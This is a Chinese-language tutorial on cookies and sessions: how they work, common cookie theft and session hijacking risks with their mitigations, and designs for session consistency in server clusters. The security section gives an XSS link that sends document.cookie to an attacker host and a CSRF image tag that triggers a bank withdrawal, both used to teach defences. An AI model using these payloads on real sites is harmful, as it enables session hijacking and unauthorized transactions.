web中的会话跟踪技术
为什么要有cookie/session?
在客户端浏览器向服务器发送请求，服务器做出响应之后，二者便会断开连接(一次会话结束)。那么下次用户再来请求服务器，服务器没有任何办法去识别此用户是谁。比如web系统常用的用户登录功能，如果没有cookie机制支持，那么只能通过查询数据库实现，并且要命的是每次刷新页面都要重新输入表单信息查询一次数据库才可以识别用户，这会给开发人员带来大量冗余工作并且简单的用户登录功能会给服务器带来巨大的压力。
在此背景下，就急需一种机制来解决此问题。分析可知，以上需求的实现就要客户端每次访问服务器时从客户端带上一些数据(相当于身份证)告知服务器自己是谁。这个数据就是cookie！并且客户端访问服务器时不能将所有cookie都带过去，比如访问百度就不能把谷歌的cookie带给百度，这个设置方式在后面介绍。
那么有了cookie，为什么还要有session呢？有了cookie可以向服务器证明用户身份了，我们的web系统中是不是需要将用户的详细信息储存在某个位置供页面调用呢？用户的详细信息就包括姓名，年龄，性别等信息。而cookie是存在于客户端的，将用户详细信息通过网络发送到客户端保存是极不安全的。且cookie大小不能超过4k，不能支持中文。这就限制cookie不能满足存储用户信息的需求。这就需要一种机制在服务器端的某个域中存储一些数据，这个域就是session。
总而言之，cookie/session的出现就是为了解决http协议无状态的弊端，为了让客户端和服务端建立长久联系而出现的。
cookie
cookie是什么
cookie翻译过来是“饼干，甜品”的意思，cookie在网络应用中到处存在，当我们浏览之前访问过的网站，网页中可能会显示：你好，王小二，这就会让我们感觉很亲切，像吃了一块很甜的饼干一样。其实cookie是一个很小的文本文件，是浏览器储存在用户的机器上的。Cookie是纯文本，没有可执行代码。储存一些服务器需要的信息，每次请求站点，会发送相应的cookie，这些cookie可以用来辨别用户身份信息等作用。
如图所示，用户首次访问服务器，服务器会返回一个独一无二的识别码：id=23451。这样服务器可以用这个id跟踪记录用户的信息：购物历史、地址信息等）。cookie可以包含任意的信息，不仅仅是id，客户端会记录服务器返回来的Set-Cookie首部中的cookie内容。并将cookie存储在浏览器的cookie数据库中，当用户访问同一站点时，浏览器就会挑选当时该站点颁发的id=XXX的身份证（cookie），并在Cookie请求首部发送过去。
主要特性
- 每次请求都会在头带上cookie（带宽流量）
- Cookie的主要内容包括：名字，值，过期时间，路径和域
- 名字和值以key=>value形式，保存在客户端（不能超过4k，不能支持中文）
- 过期时间可设置：
- cookie.setMaxAge(0)（立即删除cookie）
- cookie.setMaxAge(-1)（缺省值，只将cookie保存在内存中，浏览器一旦关闭，cookie就会被清空）
- cookie.setMaxAge(60*60)（浏览器会将cookie保存在硬盘上，超过指定时间会删除该cookie）
- 路径和域就是对应的域名，a网站的cookie自然不能给b用，具有不可跨域名性
安全性问题
多数网站使用cookie作为用户会话的唯一标识，因为其他的方法具有限制和漏洞。如果一个网站使用cookies作为会话标识符，攻击者可以通过窃取一套用户的cookies来冒充用户的请求。从服务器的角度，它是没法分辨用户和攻击者的，因为用户和攻击者拥有相同的身份验证。 下面介绍几种cookie盗用和会话劫持的例子：
网络窃听
网络上的流量可以被网络上任何计算机拦截，特别是未加密的开放式WIFI。这种流量包含在普通的未加密的HTTP清求上发送Cookie。在未加密的情况下，攻击者可以读取网络上的其他用户的信息，包含HTTP Cookie的全部内容，以便进行中间的攻击。比如：拦截cookie来冒充用户身份执行恶意任务（银行转账等）。
解决办法：服务器可以设置secure属性的cookie，这样就只能通过https的方式来发送cookies了。
DNS缓存中毒
如果攻击者可以使DNS缓存中毒，那么攻击者就可以访问用户的Cookie了。
例如：攻击者使用DNS中毒来创建一个虚拟的NDS服务 h123456.demo.com 指向攻击者服务器的ip地址。然后攻击者可以从服务器 h123456.demo.com/img_01.png 发布图片。用户访问这个图片，由于 demo.com 和 h123456.demo.com 是同一个子域，所以浏览器会把用户的与 demo.com 相关的cookie都会发送到 h123456.demo.com 这个服务器上，这样攻击者就会拿到用户的cookie搞事情。
跨站点脚本XSS
使用跨站点脚本技术可以窃取cookie。当网站允许使用javascript操作cookie的时候，就会发生攻击者发布恶意代码攻击用户的会话，同时可以拿到用户的cookie信息。
例子：
1 | <a href="#" onclick=`window.location=http://abc.com?cookie=${docuemnt.cookie}`>领取红包</a> |
当用户点击这个链接的时候，浏览器就会执行onclick里面的代码，结果这个网站用户的cookie信息就会被发送到abc.com攻击者的服务器。攻击者同样可以拿cookie搞事情。
解决办法：可以通过cookie的HttpOnly属性，设置了HttpOnly属性，javascript代码将不能操作cookie。
跨站请求伪造CSRF
例如，SanShao可能正在浏览其他用户XiaoMing发布消息的聊天论坛。假设XiaoMing制作了一个引用ShanShao银行网站的HTML图像元素，例如：
1 | <img src="http://www.bank.com/withdraw?user=SanShao&amount=999999&for=XiaoMing" > |
如果SanShao的银行将其认证信息保存在cookie中，并且cookie尚未过期，(当然是没有其他验证身份的东西)，那么SanShao的浏览器尝试加载该图片将使用他的cookie提交提款表单，从而在未经SanShao批准的情况下授权交易。
解决办法：增加其他信息的校验（手机验证码，或者其他盾牌）。
session
session是什么
session，中文经常翻译为会话，其本来的含义是指有始有终的一系列动作/消息，比如打电话时从拿起电话拨号到挂断电话这中间的一系列过程可以称之为一个session。到了web服务器蓬勃发展的时代，session在web开发语境下的语义又有了新的扩展，它的含义是指一类用来在客户端与服务器之间保持状态的解决方案。有时候session也用来指这种解决方案的存储结构，如“把xxx保存在session里”。
如上图的登录流程，用户在浏览器输入用户名、密码，点击登录，浏览器会将用户名密码提交到服务器程序进行处理；服务器验证用户名、密码正确后，会返回登录成功信息，并且会修改服务器端的session内容，比如我们将用户ID写入session中，为了方便存储这些session的内容会被序列化成字符串或者二进制保存在文件或者数据库中，这时候大多数情况下服务器在对当前的http请求进行响应时，会返回一个新的sessionid要求浏览器写入本地cookie中，对应的返回的http响应头部信息应该会是是这个样子的set-cookie:PHPSESSID=xxxxxxx,浏览器解析到这个头之后就会在当前生成一个cookie关联当前的域名。
主要特性
- 存在服务器的一种用来存放用户数据的类HashTable结构（文件、数据库/redis、内存）
- 通过Session ID来唯一标识这个HashTable（时间限制默认30分钟，超时后毁掉这个值）
- 静态资源不会生成session
- 访问服务器一次就更新一次session的最后访问时间，无论是否有对session读写，超时既最后访问时间
- 若客户端禁止cookie，Session ID可在url中（附加信息/查询字符串）
- 域的支持范围不一样，比方说 a.com 的Cookie在 a.com 下都能用，而 dev.a.com 的Session在 api.a.com 下不能用，解决这个问题的办法是JSONP或者跨域资源共享。
一致性问题
单服务器web应用中，session信息只需存在该服务器中，这是我们前几年最常接触的方式，但是近几年随着分布式系统的流行，单系统已经不能满足日益增长的百万级用户的需求，集群方式部署服务器已在很多公司运用起来，当高并发量的请求到达服务端的时候通过负载均衡的方式分发到集群中的某个服务器，这样就有可能导致同一个用户的多次请求被分发到集群的不同服务器上，就会出现取不到session数据的情况，于是session的共享就成了一个问题。
如上图，假设用户包含登录信息的session都记录在第一台web-server上，反向代理如果将请求路由到另一台web-server上，可能就找不到相关信息，而导致用户需要重新登录。
session复制（同步）
思路：多个web-server之间相互同步session，这样每个web-server之间都包含全部的session
优点：web-server支持的功能，应用程序不需要修改代码
缺点：
- session的同步需要数据传输，占内网带宽，有时延
- 所有web-server都包含所有session数据，数据量受内存限制，无法水平扩展
- 有更多web-server时要歇菜
客户端存储法
思路：服务端存储所有用户的session，内存占用较大，可以将session存储到浏览器cookie中，每个端只要存储一个用户的数据了
优点：服务端不需要存储
缺点：
- 每次http请求都携带session，占外网带宽
- 数据存储在端上，并在网络传输，存在泄漏、篡改、窃取等安全隐患
- session存储的数据大小受cookie限制
“端存储”的方案虽然不常用，但确实是一种思路。
反向代理hash一致性
思路：web-server为了保证高可用，有多台冗余，反向代理层能不能做一些事情，让同一个用户的请求保证落在一台web-server上呢？
方案一：四层代理hash
反向代理层使用用户ip来做hash，以保证同一个ip的请求落在同一个web-server上
方案二：七层代理hash
反向代理使用http协议中的某些业务属性来做hash，例如sid，city_id，user_id等，能够更加灵活的实施hash策略，以保证同一个浏览器用户的请求落在同一个web-server上
优点：
- 只需要改nginx配置，不需要修改应用代码
- 负载均衡，只要hash属性是均匀的，多台web-server的负载是均衡的
- 可以支持web-server水平扩展（session同步法是不行的，受内存限制）
不足：
- 如果web-server重启，一部分session会丢失，产生业务影响，例如部分用户重新登录
- 如果web-server水平扩展，rehash后session重新分布，也会有一部分用户路由不到正确的session
- session一般是有有效期的，所有不足中的两点，可以认为等同于部分session失效，一般问题不大。
对于四层hash还是七层hash，个人推荐前者：让专业的软件做专业的事情，反向代理就负责转发，尽量不要引入应用层业务属性，除非不得不这么做（例如，有时候多机房多活需要按照业务属性路由到不同机房的web-server）。
后端统一集中存储
思路：将session存储在web-server后端的存储层，数据库或者缓存
优点：
- 没有安全隐患
- 可以水平扩展，数据库/缓存水平切分即可
- web-server重启或者扩容都不会有session丢失
不足：增加了一次网络调用，并且需要修改应用代码
对于db存储还是cache，个人推荐后者：session读取的频率会很高，数据库压力会比较大。如果有session高可用需求，cache可以做高可用，但大部分情况下session可以丢失，一般也不需要考虑高可用。
总结
保证session一致性的架构设计常见方法：
- session同步法：多台web-server相互同步数据
- 客户端存储法：一个用户只存储自己的数据
- 反向代理hash一致性：四层hash和七层hash都可以做，保证一个用户的请求落在一台web-server上
- 后端统一存储：web-server重启和扩容，session也不会丢失
对于方案3和方案4，个人建议推荐后者：
- web层、service层无状态是大规模分布式系统设计原则之一，session属于状态，不宜放在web层
- 让专业的软件做专业的事情，web-server存session？还是让cache去做这样的事情吧。